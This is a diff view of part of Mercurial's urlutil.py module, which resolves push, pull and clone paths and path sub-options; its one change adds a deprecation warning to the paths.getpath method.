462 if not dests:
463 if b'default-push' in ui.paths:
463 if b'default-push' in ui.paths:
464 yield ui.paths[b'default-push']
464 yield ui.paths[b'default-push']
465 elif b'default' in ui.paths:
465 elif b'default' in ui.paths:
466 yield ui.paths[b'default']
466 yield ui.paths[b'default']
467 else:
467 else:
468 raise error.ConfigError(
468 raise error.ConfigError(
469 _(b'default repository not configured!'),
469 _(b'default repository not configured!'),
470 hint=_(b"see 'hg help config.paths'"),
470 hint=_(b"see 'hg help config.paths'"),
471 )
471 )
472 else:
472 else:
473 for dest in dests:
473 for dest in dests:
474 if dest in ui.paths:
474 if dest in ui.paths:
475 yield ui.paths[dest]
475 yield ui.paths[dest]
476 else:
476 else:
477 path = try_path(ui, dest)
477 path = try_path(ui, dest)
478 if path is None:
478 if path is None:
479 msg = _(b'repository %s does not exist')
479 msg = _(b'repository %s does not exist')
480 msg %= dest
480 msg %= dest
481 raise error.RepoError(msg)
481 raise error.RepoError(msg)
482 yield path
482 yield path
483
483
484
484
485 def get_pull_paths(repo, ui, sources, default_branches=()):
485 def get_pull_paths(repo, ui, sources, default_branches=()):
486 """yields all the `(path, branch)` selected as pull source by `sources`"""
486 """yields all the `(path, branch)` selected as pull source by `sources`"""
487 if not sources:
487 if not sources:
488 sources = [b'default']
488 sources = [b'default']
489 for source in sources:
489 for source in sources:
490 if source in ui.paths:
490 if source in ui.paths:
491 url = ui.paths[source].rawloc
491 url = ui.paths[source].rawloc
492 else:
492 else:
493 # Try to resolve as a local path or URI.
493 # Try to resolve as a local path or URI.
494 path = try_path(ui, source)
494 path = try_path(ui, source)
495 if path is not None:
495 if path is not None:
496 url = path.rawloc
496 url = path.rawloc
497 else:
497 else:
498 url = source
498 url = source
499 yield parseurl(url, default_branches)
499 yield parseurl(url, default_branches)
500
500
501
501
502 def get_unique_push_path(action, repo, ui, dest=None):
502 def get_unique_push_path(action, repo, ui, dest=None):
503 """return a unique `path` or abort if multiple are found
503 """return a unique `path` or abort if multiple are found
504
504
505 This is useful for command and action that does not support multiple
505 This is useful for command and action that does not support multiple
506 destination (yet).
506 destination (yet).
507
507
508 Note that for now, we cannot get multiple destination so this function is "trivial".
508 Note that for now, we cannot get multiple destination so this function is "trivial".
509
509
510 The `action` parameter will be used for the error message.
510 The `action` parameter will be used for the error message.
511 """
511 """
512 if dest is None:
512 if dest is None:
513 dests = []
513 dests = []
514 else:
514 else:
515 dests = [dest]
515 dests = [dest]
516 dests = list(get_push_paths(repo, ui, dests))
516 dests = list(get_push_paths(repo, ui, dests))
517 assert len(dests) == 1
517 assert len(dests) == 1
518 return dests[0]
518 return dests[0]
519
519
520
520
521 def get_unique_pull_path(action, repo, ui, source=None, default_branches=()):
521 def get_unique_pull_path(action, repo, ui, source=None, default_branches=()):
522 """return a unique `(path, branch)` or abort if multiple are found
522 """return a unique `(path, branch)` or abort if multiple are found
523
523
524 This is useful for command and action that does not support multiple
524 This is useful for command and action that does not support multiple
525 destination (yet).
525 destination (yet).
526
526
527 Note that for now, we cannot get multiple destination so this function is "trivial".
527 Note that for now, we cannot get multiple destination so this function is "trivial".
528
528
529 The `action` parameter will be used for the error message.
529 The `action` parameter will be used for the error message.
530 """
530 """
531 if source is None:
531 if source is None:
532 if b'default' in ui.paths:
532 if b'default' in ui.paths:
533 url = ui.paths[b'default'].rawloc
533 url = ui.paths[b'default'].rawloc
534 else:
534 else:
535 # XXX this is the historical default behavior, but that is not
535 # XXX this is the historical default behavior, but that is not
536 # great, consider breaking BC on this.
536 # great, consider breaking BC on this.
537 url = b'default'
537 url = b'default'
538 else:
538 else:
539 if source in ui.paths:
539 if source in ui.paths:
540 url = ui.paths[source].rawloc
540 url = ui.paths[source].rawloc
541 else:
541 else:
542 # Try to resolve as a local path or URI.
542 # Try to resolve as a local path or URI.
543 path = try_path(ui, source)
543 path = try_path(ui, source)
544 if path is not None:
544 if path is not None:
545 url = path.rawloc
545 url = path.rawloc
546 else:
546 else:
547 url = source
547 url = source
548 return parseurl(url, default_branches)
548 return parseurl(url, default_branches)
549
549
550
550
551 def get_clone_path(ui, source, default_branches=()):
551 def get_clone_path(ui, source, default_branches=()):
552 """return the `(origsource, path, branch)` selected as clone source"""
552 """return the `(origsource, path, branch)` selected as clone source"""
553 if source is None:
553 if source is None:
554 if b'default' in ui.paths:
554 if b'default' in ui.paths:
555 url = ui.paths[b'default'].rawloc
555 url = ui.paths[b'default'].rawloc
556 else:
556 else:
557 # XXX this is the historical default behavior, but that is not
557 # XXX this is the historical default behavior, but that is not
558 # great, consider breaking BC on this.
558 # great, consider breaking BC on this.
559 url = b'default'
559 url = b'default'
560 else:
560 else:
561 if source in ui.paths:
561 if source in ui.paths:
562 url = ui.paths[source].rawloc
562 url = ui.paths[source].rawloc
563 else:
563 else:
564 # Try to resolve as a local path or URI.
564 # Try to resolve as a local path or URI.
565 path = try_path(ui, source)
565 path = try_path(ui, source)
566 if path is not None:
566 if path is not None:
567 url = path.rawloc
567 url = path.rawloc
568 else:
568 else:
569 url = source
569 url = source
570 clone_path, branch = parseurl(url, default_branches)
570 clone_path, branch = parseurl(url, default_branches)
571 return url, clone_path, branch
571 return url, clone_path, branch
572
572
573
573
574 def parseurl(path, branches=None):
574 def parseurl(path, branches=None):
575 '''parse url#branch, returning (url, (branch, branches))'''
575 '''parse url#branch, returning (url, (branch, branches))'''
576 u = url(path)
576 u = url(path)
577 branch = None
577 branch = None
578 if u.fragment:
578 if u.fragment:
579 branch = u.fragment
579 branch = u.fragment
580 u.fragment = None
580 u.fragment = None
581 return bytes(u), (branch, branches or [])
581 return bytes(u), (branch, branches or [])
582
582
583
583
584 class paths(dict):
584 class paths(dict):
585 """Represents a collection of paths and their configs.
585 """Represents a collection of paths and their configs.
586
586
587 Data is initially derived from ui instances and the config files they have
587 Data is initially derived from ui instances and the config files they have
588 loaded.
588 loaded.
589 """
589 """
590
590
591 def __init__(self, ui):
591 def __init__(self, ui):
592 dict.__init__(self)
592 dict.__init__(self)
593
593
594 for name, loc in ui.configitems(b'paths', ignoresub=True):
594 for name, loc in ui.configitems(b'paths', ignoresub=True):
595 # No location is the same as not existing.
595 # No location is the same as not existing.
596 if not loc:
596 if not loc:
597 continue
597 continue
598 loc, sub_opts = ui.configsuboptions(b'paths', name)
598 loc, sub_opts = ui.configsuboptions(b'paths', name)
599 self[name] = path(ui, name, rawloc=loc, suboptions=sub_opts)
599 self[name] = path(ui, name, rawloc=loc, suboptions=sub_opts)
600
600
601 for name, p in sorted(self.items()):
601 for name, p in sorted(self.items()):
602 p.chain_path(ui, self)
602 p.chain_path(ui, self)
603
603
604 def getpath(self, ui, name, default=None):
604 def getpath(self, ui, name, default=None):
605 """Return a ``path`` from a string, falling back to default.
605 """Return a ``path`` from a string, falling back to default.
606
606
607 ``name`` can be a named path or locations. Locations are filesystem
607 ``name`` can be a named path or locations. Locations are filesystem
608 paths or URIs.
608 paths or URIs.
609
609
610 Returns None if ``name`` is not a registered path, a URI, or a local
610 Returns None if ``name`` is not a registered path, a URI, or a local
611 path to a repo.
611 path to a repo.
612 """
612 """
613 msg = b'getpath is deprecated, use `get_*` functions from urlutil'
614 self.deprecwarn(msg, '6.0')
613 # Only fall back to default if no path was requested.
615 # Only fall back to default if no path was requested.
614 if name is None:
616 if name is None:
615 if not default:
617 if not default:
616 default = ()
618 default = ()
617 elif not isinstance(default, (tuple, list)):
619 elif not isinstance(default, (tuple, list)):
618 default = (default,)
620 default = (default,)
619 for k in default:
621 for k in default:
620 try:
622 try:
621 return self[k]
623 return self[k]
622 except KeyError:
624 except KeyError:
623 continue
625 continue
624 return None
626 return None
625
627
626 # Most likely empty string.
628 # Most likely empty string.
627 # This may need to raise in the future.
629 # This may need to raise in the future.
628 if not name:
630 if not name:
629 return None
631 return None
630 if name in self:
632 if name in self:
631 return self[name]
633 return self[name]
632 else:
634 else:
633 # Try to resolve as a local path or URI.
635 # Try to resolve as a local path or URI.
634 path = try_path(ui, name)
636 path = try_path(ui, name)
635 if path is None:
637 if path is None:
636 raise error.RepoError(_(b'repository %s does not exist') % name)
638 raise error.RepoError(_(b'repository %s does not exist') % name)
637 return path.rawloc
639 return path.rawloc
638
640
639
641
640 _pathsuboptions = {}
642 _pathsuboptions = {}
641
643
642
644
643 def pathsuboption(option, attr):
645 def pathsuboption(option, attr):
644 """Decorator used to declare a path sub-option.
646 """Decorator used to declare a path sub-option.
645
647
646 Arguments are the sub-option name and the attribute it should set on
648 Arguments are the sub-option name and the attribute it should set on
647 ``path`` instances.
649 ``path`` instances.
648
650
649 The decorated function will receive as arguments a ``ui`` instance,
651 The decorated function will receive as arguments a ``ui`` instance,
650 ``path`` instance, and the string value of this option from the config.
652 ``path`` instance, and the string value of this option from the config.
651 The function should return the value that will be set on the ``path``
653 The function should return the value that will be set on the ``path``
652 instance.
654 instance.
653
655
654 This decorator can be used to perform additional verification of
656 This decorator can be used to perform additional verification of
655 sub-options and to change the type of sub-options.
657 sub-options and to change the type of sub-options.
656 """
658 """
657
659
658 def register(func):
660 def register(func):
659 _pathsuboptions[option] = (attr, func)
661 _pathsuboptions[option] = (attr, func)
660 return func
662 return func
661
663
662 return register
664 return register
663
665
664
666
665 @pathsuboption(b'pushurl', b'pushloc')
667 @pathsuboption(b'pushurl', b'pushloc')
666 def pushurlpathoption(ui, path, value):
668 def pushurlpathoption(ui, path, value):
667 u = url(value)
669 u = url(value)
668 # Actually require a URL.
670 # Actually require a URL.
669 if not u.scheme:
671 if not u.scheme:
670 ui.warn(_(b'(paths.%s:pushurl not a URL; ignoring)\n') % path.name)
672 ui.warn(_(b'(paths.%s:pushurl not a URL; ignoring)\n') % path.name)
671 return None
673 return None
672
674
673 # Don't support the #foo syntax in the push URL to declare branch to
675 # Don't support the #foo syntax in the push URL to declare branch to
674 # push.
676 # push.
675 if u.fragment:
677 if u.fragment:
676 ui.warn(
678 ui.warn(
677 _(
679 _(
678 b'("#fragment" in paths.%s:pushurl not supported; '
680 b'("#fragment" in paths.%s:pushurl not supported; '
679 b'ignoring)\n'
681 b'ignoring)\n'
680 )
682 )
681 % path.name
683 % path.name
682 )
684 )
683 u.fragment = None
685 u.fragment = None
684
686
685 return bytes(u)
687 return bytes(u)
686
688
687
689
688 @pathsuboption(b'pushrev', b'pushrev')
690 @pathsuboption(b'pushrev', b'pushrev')
689 def pushrevpathoption(ui, path, value):
691 def pushrevpathoption(ui, path, value):
690 return value
692 return value
691
693
692
694
693 class path(object):
695 class path(object):
694 """Represents an individual path and its configuration."""
696 """Represents an individual path and its configuration."""
695
697
696 def __init__(self, ui, name, rawloc=None, suboptions=None):
698 def __init__(self, ui, name, rawloc=None, suboptions=None):
697 """Construct a path from its config options.
699 """Construct a path from its config options.
698
700
699 ``ui`` is the ``ui`` instance the path is coming from.
701 ``ui`` is the ``ui`` instance the path is coming from.
700 ``name`` is the symbolic name of the path.
702 ``name`` is the symbolic name of the path.
701 ``rawloc`` is the raw location, as defined in the config.
703 ``rawloc`` is the raw location, as defined in the config.
702 ``pushloc`` is the raw locations pushes should be made to.
704 ``pushloc`` is the raw locations pushes should be made to.
703
705
704 If ``name`` is not defined, we require that the location be a) a local
706 If ``name`` is not defined, we require that the location be a) a local
705 filesystem path with a .hg directory or b) a URL. If not,
707 filesystem path with a .hg directory or b) a URL. If not,
706 ``ValueError`` is raised.
708 ``ValueError`` is raised.
707 """
709 """
708 if not rawloc:
710 if not rawloc:
709 raise ValueError(b'rawloc must be defined')
711 raise ValueError(b'rawloc must be defined')
710
712
711 # Locations may define branches via syntax <base>#<branch>.
713 # Locations may define branches via syntax <base>#<branch>.
712 u = url(rawloc)
714 u = url(rawloc)
713 branch = None
715 branch = None
714 if u.fragment:
716 if u.fragment:
715 branch = u.fragment
717 branch = u.fragment
716 u.fragment = None
718 u.fragment = None
717
719
718 self.url = u
720 self.url = u
719 # the url from the config/command line before dealing with `path://`
721 # the url from the config/command line before dealing with `path://`
720 self.raw_url = u.copy()
722 self.raw_url = u.copy()
721 self.branch = branch
723 self.branch = branch
722
724
723 self.name = name
725 self.name = name
724 self.rawloc = rawloc
726 self.rawloc = rawloc
725 self.loc = b'%s' % u
727 self.loc = b'%s' % u
726
728
727 self._validate_path()
729 self._validate_path()
728
730
729 _path, sub_opts = ui.configsuboptions(b'paths', b'*')
731 _path, sub_opts = ui.configsuboptions(b'paths', b'*')
730 self._own_sub_opts = {}
732 self._own_sub_opts = {}
731 if suboptions is not None:
733 if suboptions is not None:
732 self._own_sub_opts = suboptions.copy()
734 self._own_sub_opts = suboptions.copy()
733 sub_opts.update(suboptions)
735 sub_opts.update(suboptions)
734 self._all_sub_opts = sub_opts.copy()
736 self._all_sub_opts = sub_opts.copy()
735
737
736 self._apply_suboptions(ui, sub_opts)
738 self._apply_suboptions(ui, sub_opts)
737
739
738 def chain_path(self, ui, paths):
740 def chain_path(self, ui, paths):
739 if self.url.scheme == b'path':
741 if self.url.scheme == b'path':
740 assert self.url.path is None
742 assert self.url.path is None
741 try:
743 try:
742 subpath = paths[self.url.host]
744 subpath = paths[self.url.host]
743 except KeyError:
745 except KeyError:
744 m = _(b'cannot use `%s`, "%s" is not a known path')
746 m = _(b'cannot use `%s`, "%s" is not a known path')
745 m %= (self.rawloc, self.url.host)
747 m %= (self.rawloc, self.url.host)
746 raise error.Abort(m)
748 raise error.Abort(m)
747 if subpath.raw_url.scheme == b'path':
749 if subpath.raw_url.scheme == b'path':
748 m = _(b'cannot use `%s`, "%s" is also defined as a `path://`')
750 m = _(b'cannot use `%s`, "%s" is also defined as a `path://`')
749 m %= (self.rawloc, self.url.host)
751 m %= (self.rawloc, self.url.host)
750 raise error.Abort(m)
752 raise error.Abort(m)
751 self.url = subpath.url
753 self.url = subpath.url
752 self.rawloc = subpath.rawloc
754 self.rawloc = subpath.rawloc
753 self.loc = subpath.loc
755 self.loc = subpath.loc
754 if self.branch is None:
756 if self.branch is None:
755 self.branch = subpath.branch
757 self.branch = subpath.branch
756 else:
758 else:
757 base = self.rawloc.rsplit(b'#', 1)[0]
759 base = self.rawloc.rsplit(b'#', 1)[0]
758 self.rawloc = b'%s#%s' % (base, self.branch)
760 self.rawloc = b'%s#%s' % (base, self.branch)
759 suboptions = subpath._all_sub_opts.copy()
761 suboptions = subpath._all_sub_opts.copy()
760 suboptions.update(self._own_sub_opts)
762 suboptions.update(self._own_sub_opts)
761 self._apply_suboptions(ui, suboptions)
763 self._apply_suboptions(ui, suboptions)
762
764
763 def _validate_path(self):
765 def _validate_path(self):
764 # When given a raw location but not a symbolic name, validate the
766 # When given a raw location but not a symbolic name, validate the
765 # location is valid.
767 # location is valid.
766 if (
768 if (
767 not self.name
769 not self.name
768 and not self.url.scheme
770 and not self.url.scheme
769 and not self._isvalidlocalpath(self.loc)
771 and not self._isvalidlocalpath(self.loc)
770 ):
772 ):
771 raise ValueError(
773 raise ValueError(
772 b'location is not a URL or path to a local '
774 b'location is not a URL or path to a local '
773 b'repo: %s' % self.rawloc
775 b'repo: %s' % self.rawloc
774 )
776 )
775
777
776 def _apply_suboptions(self, ui, sub_options):
778 def _apply_suboptions(self, ui, sub_options):
777 # Now process the sub-options. If a sub-option is registered, its
779 # Now process the sub-options. If a sub-option is registered, its
778 # attribute will always be present. The value will be None if there
780 # attribute will always be present. The value will be None if there
779 # was no valid sub-option.
781 # was no valid sub-option.
780 for suboption, (attr, func) in pycompat.iteritems(_pathsuboptions):
782 for suboption, (attr, func) in pycompat.iteritems(_pathsuboptions):
781 if suboption not in sub_options:
783 if suboption not in sub_options:
782 setattr(self, attr, None)
784 setattr(self, attr, None)
783 continue
785 continue
784
786
785 value = func(ui, self, sub_options[suboption])
787 value = func(ui, self, sub_options[suboption])
786 setattr(self, attr, value)
788 setattr(self, attr, value)
787
789
788 def _isvalidlocalpath(self, path):
790 def _isvalidlocalpath(self, path):
789 """Returns True if the given path is a potentially valid repository.
791 """Returns True if the given path is a potentially valid repository.
790 This is its own function so that extensions can change the definition of
792 This is its own function so that extensions can change the definition of
791 'valid' in this case (like when pulling from a git repo into a hg
793 'valid' in this case (like when pulling from a git repo into a hg
792 one)."""
794 one)."""
793 try:
795 try:
794 return os.path.isdir(os.path.join(path, b'.hg'))
796 return os.path.isdir(os.path.join(path, b'.hg'))
795 # Python 2 may return TypeError. Python 3, ValueError.
797 # Python 2 may return TypeError. Python 3, ValueError.
796 except (TypeError, ValueError):
798 except (TypeError, ValueError):
797 return False
799 return False
798
800
799 @property
801 @property
800 def suboptions(self):
802 def suboptions(self):
801 """Return sub-options and their values for this path.
803 """Return sub-options and their values for this path.
802
804
803 This is intended to be used for presentation purposes.
805 This is intended to be used for presentation purposes.
804 """
806 """
805 d = {}
807 d = {}
806 for subopt, (attr, _func) in pycompat.iteritems(_pathsuboptions):
808 for subopt, (attr, _func) in pycompat.iteritems(_pathsuboptions):
807 value = getattr(self, attr)
809 value = getattr(self, attr)
808 if value is not None:
810 if value is not None:
809 d[subopt] = value
811 d[subopt] = value
810 return d
812 return d
General Comments 0
You need to be logged in to leave comments. Login now